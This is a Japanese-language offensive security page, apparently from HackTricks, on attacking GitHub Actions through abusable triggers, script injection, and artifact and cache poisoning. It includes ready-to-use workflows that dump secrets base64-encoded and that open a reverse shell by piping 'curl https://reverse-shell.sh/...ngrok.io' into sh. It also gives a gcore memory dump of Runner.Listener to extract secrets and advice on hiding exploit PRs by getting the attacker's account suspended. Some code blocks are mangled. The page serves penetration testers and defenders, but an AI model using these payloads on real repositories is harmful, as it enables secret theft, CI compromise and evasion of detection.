Abusing Github Actions

Support HackTricks

Basic Information

このページでは、以下の内容を見つけることができます:

  • 攻撃者がGithub Actionにアクセスできた場合の影響の概要

  • アクションにアクセスするための異なる方法

  • アクションを作成するための権限を持つこと

  • プルリクエスト関連のトリガーを悪用すること

  • 他の外部アクセス技術を悪用すること

  • すでに侵害されたリポジトリからのピボット

  • 最後に、内部からアクションを悪用するためのポストエクスプロイト技術に関するセクション(前述の影響を引き起こす)

Impacts Summary

Github Actionsの基本情報についての紹介。

リポジトリ内で任意のGithubアクションを実行/コードを注入できる場合、次のことが可能です:

  • そのリポジトリ/組織からシークレット盗むこと。

  • 注入のみが可能な場合、ワークフローに既に存在するものを盗むことができます。

  • リポジトリの権限を悪用して、AWSやGCPなどの他のプラットフォームにアクセスすること。

  • カスタムワーカー(カスタムワーカーが使用されている場合)でコードを実行し、そこからピボットを試みること。

  • リポジトリのコードを上書きすること。

  • これはGITHUB_TOKENの権限に依存します(もしあれば)。

  • デプロイメントや他のアーティファクト侵害すること。

  • コードが何かをデプロイまたは保存している場合、それを変更してさらなるアクセスを得ることができます。

GITHUB_TOKEN

この「シークレット」(${{ secrets.GITHUB_TOKEN }}および${{ github.token }}から来る)は、管理者がこのオプションを有効にしたときに与えられます:

このトークンはGithubアプリケーションが使用するものと同じで、同じエンドポイントにアクセスできます:https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps

Githubは、リポジトリ間のクロスリポジトリアクセスを可能にするフローをリリースする予定です。これにより、リポジトリはGITHUB_TOKENを使用して他の内部リポジトリにアクセスできます。

このトークンの可能な権限は次のリンクで確認できます:https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token

トークンはジョブが完了した後に期限切れになります。 これらのトークンは次のようになります:ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7

このトークンでできる興味深いこと:

# Merge PR
curl -X PUT \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
-d '{"commit_title":"commit_title"}'

いくつかの場面で、Github Actionsのenvsやシークレット内にgithubユーザートークンを見つけることができることに注意してください。これらのトークンは、リポジトリや組織に対してより多くの権限を与える可能性があります。

Github Actionの出力にシークレットをリストする

```yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```

シークレットを使ってリバースシェルを取得

```yaml name: revshell on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: create_pull_request: runs-on: ubuntu-latest steps: - name: Get Rev Shell run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```

他のユーザーのリポジトリに与えられたGithubトークンの権限をアクションのログを確認することでチェックすることが可能です:

許可された実行

これはGithubアクションを危険にさらす最も簡単な方法です。このケースでは、組織内に新しいリポジトリを作成するアクセス権があるか、リポジトリに対する書き込み権限があることを前提としています。

このシナリオにいる場合は、Post Exploitation techniquesを確認するだけで済みます。

リポジトリ作成からの実行

組織のメンバーが新しいリポジトリを作成でき、あなたがgithubアクションを実行できる場合、新しいリポジトリを作成し、組織レベルで設定されたシークレットを盗むことができます。

新しいブランチからの実行

既にGithubアクションが設定されているリポジトリで新しいブランチを作成できる場合、**それを修正し、コンテンツをアップロードし、その新しいブランチからそのアクションを実行することができます。この方法で、リポジトリおよび組織レベルのシークレットを外部に持ち出すことができます(ただし、それらがどのように呼ばれているかを知っている必要があります)。

修正されたアクションを手動で実行可能にすることができます。PRが作成されたときコードがプッシュされたとき(どれだけ目立ちたいかによります):

on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name

# Use '**' instead of a branh name to trigger the action in all the cranches

フォークされた実行

攻撃者が他のリポジトリのGithub Actionを実行することを可能にする異なるトリガーがあります。これらのトリガー可能なアクションが不適切に構成されている場合、攻撃者はそれらを妥協させることができるかもしれません。

pull_request

ワークフロートリガー**pull_requestは、プルリクエストが受信されるたびにワークフローを実行しますが、いくつかの例外があります:デフォルトでは、初めてあなたがコラボレーションしている場合、いくつかのメンテイナーがワークフローの実行承認**する必要があります:

デフォルトの制限初めての貢献者に対するものであるため、あなたは有効なバグ/タイプミスを修正することで貢献し、その後新しいpull_request権限を悪用するために他のPRを送信することができます。

これをテストしましたが、うまくいきませんでした別のオプションは、プロジェクトに貢献した誰かの名前でアカウントを作成し、そのアカウントを削除することです。

さらに、デフォルトでは書き込み権限シークレットアクセスをターゲットリポジトリに対して防ぎます。これはドキュメントに記載されています:

GITHUB_TOKENを除いて、シークレットはランナーに渡されません。ワークフローがフォークされたリポジトリからトリガーされるとき。GITHUB_TOKENはプルリクエストからのフォークされたリポジトリに対して読み取り専用権限を持っています

攻撃者はGithub Actionの定義を変更して任意のことを実行し、任意のアクションを追加することができます。しかし、前述の制限のために、シークレットを盗んだりリポジトリを上書きしたりすることはできません。

はい、攻撃者がPRでトリガーされるgithub actionを変更した場合、彼のGithub Actionが使用され、元のリポジトリのものではありません!

攻撃者は実行されるコードも制御しているため、GITHUB_TOKENにシークレットや書き込み権限がなくても、攻撃者は例えば悪意のあるアーティファクトをアップロードすることができます。

pull_request_target

ワークフロートリガー**pull_request_targetは、ターゲットリポジトリに書き込み権限シークレットへのアクセス**を持ち(許可を求めません)、

ワークフロートリガー**pull_request_targetベースコンテキスト**で実行され、PRによって与えられたものではありません(信頼できないコードを実行しないため)。pull_request_targetに関する詳細はドキュメントを確認してください。 さらに、この特定の危険な使用に関する詳細は、このgithubブログ投稿を確認してください

実行されるワークフローベースで定義されたものであり、PRではないため、pull_request_targetを使用することは安全に見えるかもしれませんが、安全でない場合がいくつかあります

そして、これはシークレットへのアクセスを持ちます。

workflow_run

workflow_runトリガーは、別のワークフローがcompletedrequested、またはin_progressのときにワークフローを実行することを許可します。

この例では、ワークフローは、別の「テストを実行」ワークフローが完了した後に実行されるように構成されています:

on:
workflow_run:
workflows: [Run Tests]
types:
- completed

Moreover, according to the docs: The workflow started by the workflow_run event is able to access secrets and write tokens, even if the previous workflow was not.

この種のワークフローは、pull_request または pull_request_target を介して外部ユーザーによって トリガーされる ワークフロー依存している 場合、攻撃される可能性があります。いくつかの脆弱な例は このブログで見つけることができます。 最初の例は、workflow_run トリガーされたワークフローが攻撃者のコードをダウンロードすることです: ${{ github.event.pull_request.head.sha }} 2つ目の例は、信頼できない コードから workflow_run ワークフローに アーティファクト渡す ことと、このアーティファクトの内容を RCEに脆弱 な方法で使用することです。

workflow_call

TODO

TODO: pull_request から実行されたときに使用/ダウンロードされたコードが元のものであるかフォークされたPRのものであるかを確認する

フォークされた実行の悪用

外部の攻撃者がGitHubワークフローを実行させる方法についてすべて言及しましたが、次に、これらの実行が不適切に構成されている場合、どのように悪用される可能性があるかを見てみましょう。

信頼できないチェックアウト実行

pull_request の場合、ワークフローは PRのコンテキスト で実行されるため(悪意のあるPRのコード を実行します)、誰かが 最初に承認する必要があります そして、いくつかの 制限 で実行されます。

pull_request_target または workflow_run を使用するワークフローが pull_request_target または pull_request からトリガーされるワークフローに依存している場合、元のリポジトリのコードが実行されるため、攻撃者は実行されるコードを制御できません

ただし、アクション明示的なPRチェックアウト があり、PRからコードを取得する (ベースからではなく)場合、攻撃者が制御するコードが使用されます。例えば(PRコードがダウンロードされる12行目を確認してください):

# INSECURE. Provided as an example only.
on:
pull_request_target

jobs:
build:
name: Build and test
runs-on: ubuntu-latest
steps:
    - uses: actions/checkout@v2
      with:
        ref: ${{ github.event.pull_request.head.sha }}

- uses: actions/setup-node@v1
- run: |
npm install
npm build

- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}

- uses: fakerepo/comment-on-pr@v1
with:
message: |
Thank you!

潜在的に 信頼できないコードは npm install または npm build の間に実行されます。ビルドスクリプトと参照された パッケージはPRの著者によって制御されています

脆弱なアクションを検索するためのGitHubドークは: event.pull_request pull_request_target extension:yml ですが、アクションが不適切に構成されていても、実行されるジョブを安全に構成する方法はいくつかあります(PRを生成するアクターが誰であるかに関する条件を使用するなど)。

コンテキストスクリプトインジェクション

特定の GitHubコンテキスト の値は、PRを作成する ユーザー によって 制御されている ことに注意してください。GitHubアクションがその データを使用して何かを実行する 場合、任意のコード実行 に繋がる可能性があります:

GITHUB_ENV スクリプトインジェクション

ドキュメントによると: 環境変数を定義または更新し、これを GITHUB_ENV 環境ファイルに書き込むことで、ワークフロージョブの後続のステップで 環境変数を利用可能にする ことができます。

攻撃者がこの env 変数内に 任意の値を注入 できる場合、LD_PRELOADNODE_OPTIONS のようなコードを実行できる環境変数を注入することができます。

例えば (これこれ)、アップロードされたアーティファクトを信頼してその内容を GITHUB_ENV 環境変数に保存するワークフローを想像してください。攻撃者はこれを妥協するために次のようなものをアップロードできます:

脆弱なサードパーティのGitHubアクション

このブログ投稿 で述べたように、このGitHubアクションは異なるワークフローやリポジトリからアーティファクトにアクセスすることを可能にします。

問題は、path パラメータが設定されていない場合、アーティファクトが現在のディレクトリに抽出され、後で使用または実行される可能性のあるファイルを上書きすることができることです。したがって、アーティファクトが脆弱な場合、攻撃者はこれを悪用してアーティファクトを信頼する他のワークフローを妥協することができます。

脆弱なワークフローの例:

on:
workflow_run:
workflows: ["some workflow"]
types:
- completed

jobs:
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py

このワークフローで攻撃される可能性があります:

name: "some workflow"
on: pull_request

jobs:
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py

その他の外部アクセス

削除された名前空間のリポジトリハイジャック

アカウントが名前を変更すると、他のユーザーがその名前でアカウントを登録できるようになります。リポジトリが名前変更前に100スター未満だった場合、Githubは新しく登録したユーザーが削除されたリポジトリと同じ名前のリポジトリを作成することを許可します。

したがって、アクションが存在しないアカウントのリポジトリを使用している場合、攻撃者がそのアカウントを作成し、アクションを妨害する可能性があります。

他のリポジトリがこのユーザーのリポジトリからの依存関係を使用している場合、攻撃者はそれらをハイジャックすることができます。こちらにより詳細な説明があります: https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/


リポジトリピボティング

このセクションでは、最初のリポジトリに何らかのアクセス権があると仮定して、1つのリポジトリから別のリポジトリにピボットする技術について説明します(前のセクションを確認してください)。

キャッシュポイズニング

キャッシュは同じブランチ内のワークフロー実行間で維持されます。つまり、攻撃者がパッケージを妨害し、それがキャッシュに保存され、より特権のあるワークフローによってダウンロードおよび実行されると、そのワークフローも妨害される可能性があります。

アーティファクトポイズニング

ワークフローは他のワークフローやリポジトリからのアーティファクトを使用することができます。攻撃者がアーティファクトをアップロードするGithub Actionを妨害することに成功すれば、他のワークフローも妨害される可能性があります:


アクションからのポストエクスプロイト

OIDCを介したAWSおよびGCPへのアクセス

以下のページを確認してください:

秘密情報へのアクセス

スクリプトにコンテンツを注入している場合、秘密情報にアクセスする方法を知っておくと興味深いです:

  • 秘密情報やトークンが環境変数に設定されている場合、**printenv**を使用して環境を通じて直接アクセスできます。

Github Action出力の秘密情報をリストする

```yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}

secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

</details>

<details>

<summary>シークレットを使ってリバースシェルを取得</summary>
```yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- '**'
push: # Run it when a push is made to a branch
branches:
- '**'
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
  • シークレットが式に直接使用される場合、生成されたシェルスクリプトはディスク上に保存され、アクセス可能です。

cat /home/runner/work/_temp/*

* JavaScriptアクションの場合、シークレットは環境変数を通じて送信されます。
* ```bash
ps axe | grep node
  • カスタムアクションの場合、プログラムが引数から取得したシークレットの使用方法によってリスクが異なる可能性があります:

uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}

セルフホストランナーの悪用

Github Actionsが非Githubインフラストラクチャで実行されているかどうかを見つける方法は、Github Actionの設定yamlで**runs-on: self-hosted**を検索することです。

セルフホストランナーは、追加の機密情報や他のネットワークシステム(ネットワーク内の脆弱なエンドポイント?メタデータサービス?)にアクセスできる可能性があります。また、隔離されて破棄されていても、同時に複数のアクションが実行される可能性があり、悪意のあるアクションが他のアクションのシークレットを盗むことができます。

セルフホストランナーでは、_Runner.Listener_**プロセスから**シークレットを取得することも可能で、ワークフローのすべてのシークレットが任意のステップでメモリをダンプすることによって含まれます:

sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"

この投稿で詳細情報を確認してください

Github Docker イメージレジストリ

Github 内で Docker イメージをビルドして保存する Github アクションを作成することが可能です。 以下の展開可能な例を参照してください:

Github Action ビルド & プッシュ Docker イメージ

```yaml [...]

  • name: Set up Docker Buildx uses: docker/setup-buildx-action@v1

  • name: Login to GitHub Container Registry uses: docker/login-action@v1 with: registry: ghcr.io username: ${{ github.repository_owner }} password: ${{ secrets.ACTIONS_TOKEN }}

  • name: Add Github Token to Dockerfile to be able to download code run: | sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile

  • name: Build and push uses: docker/build-push-action@v2 with: context: . push: true tags: | ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}

[...]

</details>

前のコードで示したように、Githubレジストリは**`ghcr.io`**にホストされています。

リポジトリに対する読み取り権限を持つユーザーは、パーソナルアクセストークンを使用してDockerイメージをダウンロードできます:
```bash
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>

Then, the user could search for leaked secrets in the Docker image layers:

Github Actionsログの機密情報

たとえGithubがアクションログ内の秘密の値検出し表示を避けようとしても、アクションの実行中に生成された他の機密データは隠されません。たとえば、秘密の値で署名されたJWTは、特に設定されない限り、隠されません。

足跡を隠す

(Technique from here) まず第一に、提出されたPRはGithub上で公開され、ターゲットのGitHubアカウントにも明らかに見えます。デフォルトでは、GitHubではインターネット上のPRを削除することはできませんが、ひねりがあります。Githubによって停止されたアカウントのすべてのPRは自動的に削除され、インターネットから取り除かれます。したがって、活動を隠すためには、GitHubアカウントを停止させるか、アカウントをフラグ付けさせる必要があります。これにより、インターネット上のGitHubでのすべての活動が隠されます(基本的にすべてのエクスプロイトPRが削除されます)。

GitHubの組織は、アカウントをGitHubに報告することに非常に積極的です。あなたがする必要があるのは、Issueに「いくつかのもの」を共有することで、彼らは12時間以内にあなたのアカウントが停止されることを確認します :p そして、あなたのエクスプロイトはGitHub上で見えなくなります。

組織がターゲットにされたことを把握する唯一の方法は、GitHub UIからPRが削除されるため、SIEMからGitHubログを確認することです。

ツール

以下のツールは、Github Actionワークフローを見つけるのに役立ち、脆弱なものを見つけることもできます:

Last updated